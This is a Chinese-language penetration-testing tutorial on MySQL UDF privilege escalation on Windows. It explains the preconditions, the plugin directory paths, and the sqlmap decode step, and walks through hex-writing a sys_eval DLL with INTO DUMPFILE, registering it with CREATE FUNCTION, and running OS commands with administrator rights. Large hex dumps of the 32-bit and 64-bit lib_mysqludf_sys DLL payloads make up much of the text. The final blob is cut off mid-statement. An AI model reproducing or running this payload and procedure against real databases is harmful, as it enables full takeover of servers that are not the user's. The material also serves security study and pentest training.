Sql注入—udf 提权
本文记录利用 udf 在 windows 平台下（第八点为Linux）进行提权时的整个过程，以及过程中遇到的问题以及细节。
一、什么是 udf
udf 全称为：user defined function，意为用户自定义函数；用户可以添加自定义的新函数到 Mysql 中，以达到功能的扩充，调用方式与一般系统自带的函数相同，例如 contact()，user()，version() 等函数。
udf 文件后缀一般为 dll，由 C、C++ 编写。
二、udf 在渗透中的作用
在一般渗透过程中，拿下一台 windows 服务器的 webshell 时，由于 webshell 权限较低，有些操作无法进行，而此时本地恰好存在 mysql 数据库，那么 udf 可能就派上用场了；由于 windows 安装的 mysql 进程一般都拥有管理员权限，这就意味着用户自定义的函数也拥有管理员权限，我们也就拥有了执行管理员命令的权限，这时新建管理员用户等操作也就轻而易举了，大多数人称为这一操作为 udf 提权，其实表达不够准确，应该称为通过 mysql 获得管理员权限。
三、如何使用udf
假设我的 udf 文件名为‘udf.dll’，存放在 Mysql 根目录 (通过 select @@basedir 可知) 的‘lib/plugin’目录下。在 udf 中，我定义了名为 sys_eval 的 mysql 函数，可以执行系统任意命令。如果我现在就打开 mysql 命令行，使用 select sys_eval('dir'); 的话，系统会返回 sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里，并没有引入。类似于面向对象编程时引入包一样，如果没有引入包，那么这个包里的类你是用不了的。
不要慌，看看实例用法：
Text Only CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
只有两个变量，一个是 function_name（函数名），我们想引入的函数是 sys_eval。还有一个变量是 shared_library_name（共享包名称），即‘udf.dll’。
至此我们已经引入了 sys_eval 函数，下面就是使用了。
这个函数用于执行系统命令，用法如下：
Text Only select sys_eval('cmd command');
现在我们已经知道了 udf 是什么，以及如何引入 udf。下面我们要关注的就是提权了。其实到这里，提权已经结束了，因为对于 sys_eval() 函数，其中的指令是直接以管理员的权限运行的，所以这也就是最高权限了。
将 udf 文件放到指定位置（Mysql>5.1 放在 Mysql 根目录的 lib\plugin 文件夹下）
从 udf 文件中引入自定义函数 (user defined function)
执行自定义函数
四、利用条件
利用 udf 的条件其实还是挺苛刻的
1. mysql 用户权限问题
需要mysql配置文件secure_file_priv项设置为空
获得一个数据库账号，拥有对 MySQL 的 insert 和 delete 权限。以 root 为佳。
拥有将 udf.dll 写入相应目录的权限。
2. 数据库版本问题
udf 利用的其中一步，是要将我们的 xxx.dll 文件上传到 mysql 检索目录中，mysql 各版本的检索目录有所不同：
版本 路径 MySQL < 5.0 导出路径随意； 5.0 <= MySQL< 5.1 需要导出至目标服务器的系统目录（如：c:/windows/system32/） 5.1 < MySQL 必须导出到 MySQL 安装目录下的 lib\plugin 文件夹下
一般 Lib、Plugin 文件夹需要手工建立（可用 NTFS ADS 流模式突破进而创建文件夹）
五、利用过程
环境：
目标系统：windows 10
mysql 版本：5.5.53
1、查看版本
Text Only mysql> select version();
+-----------+
| version() |
+-----------+
| 5.5.53 |
+-----------+
1 row in set (0.00 sec)
2、获取 Mysql 安装路径
Text Only mysql> select @@basedir;
+--------------------------------+
| @@basedir |
+--------------------------------+
| C:/phpStudy/PHPTutorial/MySQL/ |
+--------------------------------+
1 row in set (0.00 sec)
3、查看用户权限
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49 mysql> select * from mysql.user where user = substring_index(user(), '@', 1)\G;
或者
mysql> select * from mysql.user where user='root' and host='127.0.0.1' \G;
*************************** 1. row ***************************
Host: 127.0.0.1
User: root
Password: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
Select_priv: Y
Insert_priv: Y
Update_priv: Y
Delete_priv: Y
Create_priv: Y
Drop_priv: Y
Reload_priv: Y
Shutdown_priv: Y
Process_priv: Y
File_priv: Y
Grant_priv: Y
References_priv: Y
Index_priv: Y
Alter_priv: Y
Show_db_priv: Y
Super_priv: Y
Create_tmp_table_priv: Y
Lock_tables_priv: Y
Execute_priv: Y
Repl_slave_priv: Y
Repl_client_priv: Y
Create_view_priv: Y
Show_view_priv: Y
Create_routine_priv: Y
Alter_routine_priv: Y
Create_user_priv: Y
Event_priv: Y
Trigger_priv: Y
Create_tablespace_priv: Y
ssl_type:
ssl_cipher:
x509_issuer:
x509_subject:
max_questions: 0
max_updates: 0
max_connections: 0
max_user_connections: 0
plugin:
authentication_string:
1 row in set (0.01 sec)
可见 root 用户拥有以下关键权限，并且可读写文件。
Insert_priv: Y
4、查看可操作路径
Text Only mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | NULL |
+------------------+-------+
2 rows in set (0.00 sec)
secure_file_priv 值为 null，表示 mysql 不允许导入导出，此时我们只有通过别的方法将 udf.dll 写入安装路径。
5、通过主机版本及架构确认mysql位数来选用udf文件
Text Only mysql> show variables like '%compile%';
+-------------------------+-------+
| Variable_name | Value |
+-------------------------+-------+
| version_compile_machine | AMD64 |
| version_compile_os | Win32 |
+-------------------------+-------+
2 rows in set (0.00 sec)
6、上传 DLL 并利用
6.1、创建 plugin 目录
这里使用 ntfs 数据流创建，但是我本地测试一直没有成功。
ADS文件流是NTFS文件系统为了能与Mac系统下的HFS文件系统兼容而设计出的。
经实践在命令提示符下使用ADS文件流是可以成功创建目录或者文件名的，但在独立安装的mysql数据库环境与phpstudy自带mysql环境下均创建失败，并且查阅网上各种文章也都是没有利用成功的，严重怀疑是哪位小可爱臆想出来的，但为了文章完整性还是决定写出来。在 t00ls 上也有人说数据流从来没有成功过，所以说 mysql5.1 以上的提权能否成功还是个迷。
Text Only Mysql数据库中报错：
mysql> select 'test' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
ERROR 1 (HY000): Can't create/write to file 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION' (Errcode: 13)
为后续测试，手动创建 plugin 目录
6.2、将 dll 上传到安装路径的方式：
通过 webshell 上传
以 hex 方式直接上传
sqlmap 中有现成的 udf 文件，分为 32 位和 64 位，一定要选择对版本，否则会显示：Can't open shared library'udf.dll'。
sqlmap中：sqlmap\data\udf\mysql
metaspliot中：/usr/share/metasploit-framework/data/exploits/mysql
当mysql大于5.1版本时：查看 plugin 目录，存在lib\plugin目录且有webshell时，直接上传udf文件。存在lib\plugin目录但没有webshell时，则需要以16进制编码写入udf文件。
首先将对应版本的udf文件进行16进制编码（sqlmap中的udf文件为防止误杀默认是经过异或编码的，需先使用sqlmap自带的脚本解码）。
Text Only sqlmap udf文件解码
python extra/cloak/cloak.py -d -i data/udf/mysql/windows/32/lib_mysqludf_sys.dll_;
接着就会在\sqlmap\data\udf\mysql\windows\32目录下生成一个dll的文件lib_mysqludf_sys.dll，这个我们就可以直接拿来利用
6.3、将16进制编码后udf文件使用dumpfile函数写入磁盘（outfile导出文件会在末尾写入新行且转义换行符，破坏二进制文件结构，dumpfile不会进行任何操作）。
为了将这个转换为十六进制，可以借助mysql中的hex函数，先将udf.dll移动到C盘中，这样路径也清晰一些，然后执行下面命令
Text Only 16进制编码udf文件
select hex(load_file('C:\\udf.dll')) into dumpfile 'C:\\lib_mysqludf_sys_32.txt';
成功生成了十六进制形式流
6.4、接下来就是把本地的 udf16 进制形式通过我们已经获得的 webshell 传到目标主机上。
Text Only 1. CREATE TABLE udftmp (abc longblob); //新建一个表，名为udftmp，用于存放本地传来的udf文件的内容。
2. INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
3. SELECT abc FROM udftmp INTO DUMPFILE 'D:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //将udf文件内容传入新建的udf文件中，路径根据自己的@@basedir修改
//对于mysql小于5.1的，导出目录为C:\Windows\或C:\Windows\System32\
需要注意的是：如果在低版本系统环境下（win2003）或部分特殊环境使用mysql命令提示符进行提权操作，由于不同环境下的mysql命令提示符可输入字符最大长度不同（win2003为8191，win10系统为65535），无法使用dumpfile一次性写入全部16进制字符，则需要将udf文件的16进制编码字符先进行切割，再拼接写入到一个表中，最后导出到目标系统。
注意：在进行16进制数据切割时，每段字符的长度要为4的倍数，2进制转为16进制使用取四合一法，如果位数不够会在最高位补0，补0后会破坏原始二进制文件的文件结构导致利用失败，这也是很多人此方法复现失败的原因。
6.4.1、32位插入第一段数据：
Text Only insert into udftmp(abc) values (0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000004D477BD0092615830926158309261583005E86830B261583005E808308261583005E968307261583005E91830B2615832EE06E830A2615830926148325261583005E9C8308261583005E878308261583005E8483082615835269636809261583000000000000000000000000000000000000000000000000504500004C0103004AFE9F5A0000000000000000E00002210B010900001000000010000000600000607C0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007C83000008020000B4820000C800000000800000B402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002C7E00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000E0555058310000000000100000007000000010000000040000000000000000000000000000400000E02E7273726300000000100000008000000006000000140000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D090208B92BCF11B11CEEA24F550000560C000000220000260000A8FFFFFFFF8B4C240833C03901741656578B7C24146A0C59BE000010DCF3A566A55FB0015E5DFB77FBC38B44240C1A6A071611108BF8183218FF63DB6F1CA45FC7011E1200210883380175128B40040DF6776F0700750A1004C6000132C0C3530ABF1DF68D3C3053A454082D08FF30FF15FFF6EE776C885985C075085614C601011BC8568D71018A11FD6FDFFE4184D275F98B54142BCE890A32558BEC8B4D0C833902B7D860BF5374148B7D10915C5453EB4CBF9DBDDF8B417D740F1B707C1BEBE5836004DBB1FFB7001A0C8B48048B008D4401025072A0594C08DFC8D7B5891678113006A44CEB6C57BEB7B2B85F5E5DA30421740833DBB63FF6A8591353568B742410D878534602DB85DB5BB6460851C78D5C4257E8240B75EEEEBFE01400C604070008FF70041E0553B1DB1B921A22C418535720030054090F09B7086A995B0F98599954CF2D343713B8F4540B1EDEB60D818403552251519D35DFFED6FEDF576800F762D66A018945FC068BF08B4560DD7FF70CC606004533FF595939387471683CC071C6FEDFDA9C12260C3BC7745B506A04FF75FC149073E1EDD7A9FD48533AFC8D48911040B963DBFF2BC18BD88D043B505630F8268C5330D8AD8DBD5F03FE570E940DE57DF8463FE6364C2066BA5B1810A4803E0059169EB0FF741A8BC6C64437FF00594D1489C906987BEBD86F183E5F205EC9C3EED7B235DCBAF37D574708C45030087BDBDACDC9C26A4078C710548D4601B9E07E614251724F0856FF31CF6BAFDD9DB694C66AFF8DC32082F63A58B0B6030D092C23005F7CC36E57036C6A081D1290AC0AA88365FC2F6C2F2C2D4592D0EB071B408F65E8C70BBFD66E42FEFF000D1FEDC25E3BFFDB17B60D08209A02F3C3E90806F58BFF56688000002D8C6D675880985608845AA3BDE0FEBB062358045485F675054DAA83260076FBB7DB4508C36F08ED09ACC704240607FF0B4C113637598D71FFCF9C0BBF77DFC9750E39056B107E3CFF7310830B01FBEEC6BB8B0910548B098F57890A23480F85D47D618CBBAD641718068B79040838071B76EDEEBB1E50EB184AA705B8E61768B0B030D8E803A83C0957C1D6BBAEB5D6A1E7E9E2573CA12F4C6A6FF777C3025EFD096A1FEE76EB3CAA10C80475ED7BEFC0C7051F281A70E027071BDFF79D5CB520BC04B81B6A5635B952EB782B7339B2E3696FF7DEFD7340393D155C741C68062809AC43DB6B85850D9E1034252316FFE666F862F154B201DC0801592CC2B1A1DB78049DDFDBF62413D90FD4FC83F80266B16F6CB0D2595BFFA0584B77783BB5783106350F8487C71996EE4CD3543BF81810897D82EFC796BE35FAC87251833F8AF36A7C398587B4F10774E9FFC8D60F7C89C5DB9BB5D955F85615441B474DED5BE38EF88A394D1003D00874B48909437AA36D020C1AD3F8EBA71C3162CC5A64442E386161FB0A58064C32FC19503F1BDF720443375BC9C20CC710FB02231FB2288B2EF28B5D081CAE0FDB9B54E433C95CFC7D2008016C2DC6C23BF15A393A4417E4D61BFE7FAFAE3BF0740583FE02752E1910D03BC1E7166EB8ED57565FD03B5EE40003937B703B67115A039614168012376C7D270A8227FEA0246420575062B30D661327002F527F8DF61AD2061153F76A037543B067BB614F34032168742E2C0D2C3CEC257FEB1B71EC5A09706A7C6FAAE05051597C64825D900EADF62FFA8A19066B8F91B6C72AE490C396EC1640E134A9FF3B246ABB41C1F17926547DBC550C0D381E33BC05BC595D382281EC2832F7869F365F212043211C895E2118891D05F78EC243143C21A2AA210C668C186C5FFBDA3806252C0620080605DD2DCDD20425002D7FFC9C8F7AB6B1F6143095562407042831D6FEDB7F0807348B85E0FCA0AA701DDBB5B395011C1920241318092B18476A565F201CB360C32C9F7B8985D8320A04DC03B557E01B243468DEDFD1F7D8D360CE2879D40A2C833D208DBDC3DA00F923685B1B300BDFAF67F534C97F23401EC25F6A4849918F144A50152E9DF458AAF8A29C10F3EB67611C7E052C37D4598FEDED8321B9273551E0F5EE3BDC0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6.4.2、32位update拼接剩余数据
Text Only update udftmp set abc = concat(abc,0x200E10C10A01630B02AB3362B7EE6107006003040233351EEED9C0CE34100706C02633D6EDDB7620AC22033C144002B0021C5759DD0050520143C8C8BA65B1214200A7B82F06DB5D182EB4787407EA0B900C5BFA90CDB742602E72647D610861C90E76C508FB0A00C700A1DB66BB77402E26300304301BECDB943D001A27C04F73726300EB11C0061B40731C4F78C2C2A365761F01030002ED7760497B27421BA023030000EDD8D152127C53030400000000000080FF00000000000000000000807C2408010F85B901000060BE007000108DBE00A0FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B92A0000008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE005000008B0709C0743C8B5F048D8430B472000001F35083C708FF96F0720000958A074708C074DC89F95748F2AE55FF96F472000009C07407890383C304EBE16131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAEF87200008DBE00F0FFFFBB0010000050546A045357FFD58D871702000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9AD98FFFF0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005C80000056020000E404000000000000584000003C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0A20203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0A202020203C73656375726974793E0D0A2020202020203C72657175657374656450726976696C656765733E0D0A20202020202020203C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365223E3C2F726571756573746564457865637574696F6E4C6576656C3E0D0A2020202020203C2F72657175657374656450726976696C656765733E0D0A202020203C2F73656375726974793E0D0A20203C2F7472757374496E666F3E0D0A20203C646570656E64656E63793E0D0A202020203C646570656E64656E74417373656D626C793E0D0A2020202020203C617373656D626C794964656E7469747920747970653D2277696E333222206E616D653D224D6963726F736F66742E564339302E435254222076657273696F6E3D22392E302E32313032322E38222070726F636573736F724172636869746563747572653D2278383622207075626C69634B6579546F6B656E3D2231666338623362396131653138653362223E3C2F617373656D626C794964656E746974793E0D0A202020203C2F646570656E64656E74417373656D626C793E0D0A20203C2F646570656E64656E63793E0D0A3C2F617373656D626C793E504100000000000000000000000010830000F08200000000000000000000000000001D83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004B45524E454C33322E444C4C004D5356435239302E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000006672656500000000000000004AFE9F5A0000000058840000010000001200000012000000A4830000EC8300003484000021100000A312000000100000A4120000A3120000A0120000CC110000A31200009811000086110000A31200009811000076100000A3120000431000002E1100001A110000A91000006D84000083840000A0840000BB840000C7840000DA840000EB840000F484000004850000128500001B8500002B8500003985000041850000508500005D850000658500007485000000000100020003000400050006000700080009000A000B000C000D000E000F00100011006C69625F6D7973716C7564665F7379732E646C6C006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F62696E6576616C007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F6576616C007379735F6576616C5F6465696E6974007379735F6576616C5F696E6974007379735F65786563007379735F657865635F6465696E6974007379735F657865635F696E6974007379735F676574007379735F6765745F6465696E6974007379735F6765745F696E6974007379735F736574007379735F7365745F6465696E6974007379735F7365745F696E69740000000000700000100000006D3C683E6C3E0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
6.4.3、64位插入第一段数据：
Text Only insert into udftmp(abc) values (0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000677CBFDA231DD189231DD189231DD18904DBBF89211DD18904DBBC892A1DD18904DBAA89261DD189231DD0890F1DD18904DBAC89211DD18904DBA089221DD18904DBAB89221DD18904DBA989221DD18952696368231DD189000000000000000000000000000000005045000064860300A727A15A0000000000000000F00022200B020800002000000010000000800000109F000000900000000000100000000000100000000200000400000000000000050002000000000000C000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098B2000008020000B0B10000E800000000B00000B00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000E0555058310000000000200000009000000012000000040000000000000000000000000000400000E02E727372630000000010000000B000000006000000160000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D240209E1E421439D3BDFB7DE7400000F0F0000002A0000490000D41DE9FEFF833A007450488B05A421000049890009A24008CD4973D20A9F109C1899CD9F34272096280FB70593666D83FDB7410B30B001C332C0C3CC00C215CC92C9BA810034716A6FEBCC16E46C096A471853FDBF1FA4631C0FB605591688401E41C7011E00FFED6DD62B8B63BF01750F3F42088338007506C64B26EBDC01017B4E2D632B05B9E4B228CE25227ED20CD26F1F28152AB001C3F66D7BC2BF83EC38344A43895C243084B7FFF6DBD90B09FF15C71F2B4885C04C8BD87512104C24DF6EAEB9608707202DC4388E897C242873EDCDFD33C048C7C1FF0033FBF2AE1C120976D9B75B1AF7D122E901890B2DCC00BE6FEB166F28E3026E404848DEDA7FDB29F938D87459488D0D40EE4E0E813832983DE4C1EB81403281480A9EE4435E4F81503281543281563261F37D4FB0018C48804028C34C49467607744E61DEED584917E49260680A703C6527CD18782056C740045CF8BF33B64342188B48048B008D4C010239BD1E77D27D8BD947107543706D8045EC1BE936130309884370900A00B69DEE10C8980A18BC0CB3C6B00E07103FBCB37DDB0F49A585C974066F5D17B7086D21CF93CF047424ADA3B9772D7110448B6949E2FA02C2EDDFBA52E2CE0212498D5C3001E83F0FFCE85CD7FDDD5FEBCB418B03C60430D2470D5734B70C58D7E22D0822D34313167BB75BCE2618007CA01CFF56677C84842F7198F4CF16C64373870D087C8C03D6E4240F79561E541E511E7292939C4E1E4B1E481E63C2425E3E1E1FCF2784EE87C71F1DA0981F4C89C68685EE44241824580F6C59897486BB86DB76381764BDB900D34C18284CB0DB7E302D4D8BF146E8E7B901EE9B6DC1EC04E00DDA4533ED4488670BEEF69B4FF04C39290F8413050673F215FDCFB8B9169125AC1C088BE8747B418D5508E1C9B6B13AC0E6CC177C7466A04B6640FA50669047FC3F42858E1B0B9529328D7936CE6F7D61C16C304375CD8CC74803C8F56636B724D470143E51C5BA08E1D9B68D39CC1CEB13225975AD886CDBB6F050EB258BC77004CD1930DDFE9CDB803E30E2154874229245FFB176D8827811FEF5887EDD4D174EBE5A0EEBC18424805EC606E71ADA0001380C4C38F12A10F8386C04C6F0A0581A87E792317FD3DC5CD8D6D09D58747A28F2023F73B773DF3E448D48406E41B80010B3748BD1F10DF7C7ED33C9AB441A5356104CEFA2DBE6B66C02C8D8154E1B8D54B94C350AEDE98D054A75890BA3B16E3B2DBC3133D2C7D0208925183BDF19B7B3BAD2C80DF2199D30AC581E29EB081433C0922FB384F13BE0064CEB0033C029001BB0DFB65538EC024510FF10C9196600FB6F7F6C900390483B0D89293F751148C1C11066F7DDDD6FDFB87502F3DAC1C910E9150AECCC405361203B8B7D1B5801A05FDCD25B0BFBEEF7F685DBC905112FD005020675098D430185BB76EFB6205B42C703D59B0D3C48B406634136670B1C5805B12006615BD85BC3CF55D27F6CC7C7C376FC608468E140DCFBF1C2C63831E83BE141BDD20F8503EE46BB7408075EE428073C0F8E0D8DE6B61B6E2BC58ED3105FDCFD3E76FB0FB12D602E0A741EF290B9E803C91D19BFDB36931D4275E841320783F802740FB9EF6DC3B31FB70ECA0208E2ED0D2F2E338E740FD2111912F874491412FC18DADC0B1FD958F847DF72165F1803B6BB2D701E4AD0C9EB081573ED12ECF6BEDBCF2774192D06429BD72D0698FBFB66D833DB891DB80E871DB906716FC7FEB59806E5413BD5DDE26541042530BB7DBBBD002C0978081E8BF3F048B93D883072B0B7920A63C7741AD64618D7D29B2F1C6B75E3EB037BF5A79A5ED6390C950CDAEB3FEA1F9F7DB7F08E8F080644892D312D1BC485C0678FED62771A15E5DE0DD6181ABE7FDDBBEEC7050725024585F67507B404BB833D14DDC96E73068B212A0B2D5C6F11DEDD264FE3029CF12C66012D3A273E9E9EBE10C58F38D240E468EC98717A60DCE91748C3B14D22190F6C20483A5ADBF308505851F0DD05BBEE77DF3D041F208915D12695D275133915D709ED7F38C3750B5A17C61E83FA017405040ADD6BE00275338931D39D08A3B71B0D34C84E20C574134AC68B07863DB9D7A64BFC1616E0C9016B3C1A0EDC83FFB092EBDA1535AB311BC11BDB5B0BD80C430C1DC817084D7BF787755C0B1841FFD385FF88FF03753970F79D75094A08AEEB8D1CA51E36EC648B171028ADEB06D8192ECC298ADC25F3008BC3659E8793708B218B8BF8B59D9E2A4055BF15EAA3894D7AFAB61B01018B080724B0D67D5D902DD9C2302F5E7D0AB1485825FF4DDB960C1E92387D2EDA02F101D7136FA3F875056C0CFCFA7D918844A4FD258B036983EB2F9E8E090CEFC6F852A1899E2681EC880068CD760DBFFE73153F156705B8C648F25845B7390CB8283D1F2C586170C339DEF61624EB754148B73DC6364238004044230430090E662FCF40280578254703055C73874C1C51494E7D4BB1077F4BF0EB222B8093447BDD837D738D0E83C00812D13E8D67DB7B642A059B240D20902F9C5BA25B701C2A7214097BC009CC3E1E666C926724766E833572DBFF0B70DC7A142F482C38B0BB2493827B8EF083D2396A14019B15650CCB36DC9255B624C80A271B83D76C1854BA6A234E336B1784F781C4ACA041592947A626231C0FD8CF53188186D9EF0D68295A4A148A8EF8ECECCDD64427CB1366EB75B908674B32D21DEA902D3A1C1128106464200A8B83AF334463971BCB36E418C323DB83A238243D05F62809993959B611402BDC678C90C136DE1BC3017F37320296247F15F4F6120D6276D81BC00383E8013C2075643F289C8D3D53041A787F4B8D1D4C068D13A08491790EC372B3326129A9EF4F137F2344720CC96681394D5A75FCB7C3FF174863513C813C0A5045E1137C0A180B020F94C063E343029F4C63413CFEC9B4EBED8D7ED24C03C1413C4014450458064525FFC25F6A4AB10018741F8B510B3BD2720A8B4108ED6FF8DB03C209D072104183C113C128453BCB72E16FC796B05D1CC1C3CF4CC1267AF7446992E1DA85DCBD1F4C2BC15FEAFB5ABED0140CCD0F3A24C1E81F600D2CFEF7D083E001EB02584FD644AB360196EBCAC0B66C3008EEC18B01A7FFAA128D3CC77627252205CC11CE78DCA606CB113F75463DA70FF0DD4603241B471EB801000000277C29847F3FE520000081BFF83C3DFC32A2DF2D992B7DC7F83074149D6FA3D00E7F5DC6268B2DC285586B212430BC6286B6489934E10AB9B4C856E04671D849460BB50E731C0EB110D9BE10A8D813FE6A4CB84C33DBCEB8FF00856037BA1623E9B8338975DDE016B1DF744D44D89C1D39B705DBDD8449F7D3093720D2FBDC4B4646463605DEE0E2E4B24746465E505A11000055C9A8AA298064547FB017D8069017303007D04E6F206172FFFFDFFE67756D656E7473096C6C6F77656420287564663A206C69625F6D79730BF6B7DD716C0D5F73085F696E666F29411C80EDFF232076657273696F6E20302E0134EDEDEE17A178706563744B657861076C79201A6DBB7DFB652073747243672074791B2070766175D8299B6D21724F2F7477996D60010B1F438EF6F603FB72206E616D4C436F756C246E6F74CCE8B66D3B63611320186D27796372FF850740310106023532023001240D0024F6FFB7FFD407001FC408001A740B15640C0010540B000B340A0004822776BBDCFE1918090018C40F13740E640B093427B763D4ED046217D41E5E3F1903241AEDBACF2C5007390F2A07801ABBDC6E8367165B16743711640C340B7BD85B770442130C390C01118350118B9B6DF705530133871C03E4001D5D90ED60430E057B743F09BAEEB0D80401072F67079403A06077DBC10701462F462B1074092F0DB6D94E3416033B01000715BB0BB6BD971574062F64F7DF21000884DDB640AE043439741F00BF20EEECEDB6140629034C341F0BA903E1C2DEBE240F05C305340A13234BD36D9B6E23431E14C45F0F470A75B713760554094B01098909A2071E7DE572BB1F1E742F12640D34870142B71582BB2E1311CF0C03CA96DD0E01380F387427005124A3AAFEC10246DDCD5D20D266D4FF555516C900178FA02A1B003011764BD56C039180BFA007E0126DD79DDD03703407F803680B0013026A76FBBA8603540B14021814170B581590FB2F07D9EEECF60A15031034);
6.4.4、64位update拼接剩余数据
Text Only update udftmp set abc = concat(abc,0x0727030034075BD5B9DD7003E0336F0724B3CC755DD7750B30074203AC0B9007F5B61B94DB03C03233920C1903C8BA05A0EB0B10074F8BE80B508375AFEB077303444707990BA0B65DD77507E503280BF0073A1C033C0038B7EB0B5007F71CA70B77B63BDB8B191D2F2007381DCB40071DAC7B5D83036C8307D30B601E9DED5EB3039B7C5F07C11E3BE0D0AE3BDB07031F3B1007D6039C33CA1255954A005525A3AAA8AA9251645455C9D09BA0887C0402C4FF16360157616974466F7253AC7F2B40FC6C654F626ABD14566972747561F63703C46C419A0D536574456E76126DBF01E26F6EE45661726961622B41EB2E40BC18437265B8546806640DF65BF76D47264375727222502A636573734914E283CD1226135469636BB6FD6E03026E6B517565727950036684DEDBB1F66D616E3716657218446973676FDBDBCF374C6962727879436192731A52746C633BB76D0970A2722D2C7874124CBDB5ADFD6F6F6B7570463EC26916B2747279DFB5078B17CD556E77E47E4973446562736F6BED75676763A7A56583E11DFEB6B77268616E64457883704046696CA56C85C58719F19319DAB61254176D65151153DAF6586B39352B537973176DFA81E87517454173426509A3DBFE434388A0895F616D73675FCC6990B3850BBF5F5F435F73708B6966285F7E267CDB766F5F64116F035F706F6922430B76DB2663DA5F64CE280009626B31142D325F7A13C417840B5F7B50705B6C735F330A6C212205DB5ACCD82A58096E73ED6BC982130FD76D643ED6BAD6DE756C343F15416D170CDEA3E0020AB52689A3B565C933A196063BC16DB15B0772652508661115080D5BA1739C29709F73149BB5ADB93932AE6E074D0F85D7BADBC56F736A663A70105E3B84ED70705831747B6D343FDF15F4C700F08C21180800E264860600A76EFB0FE327A15AE6F00022200B020808120CB07744B314132E0010000005CF1E6C9B02020433050002088000C302F663146D160100022E063AF76C650F0A50394330908DE8DB88223C1460E2D880D4BD0118020183703AACBB024B00303A011E4644A42B2E1054822D3BD810901200DC00B3DBC63B6F602E7264A76108550B53597761DD000C03162740022E26291B61F600D805100C22273616ECECC02E702850EB27244FD820FC007273726300136027B3C7013226650942FCA664B0702728421B4036C08D6D05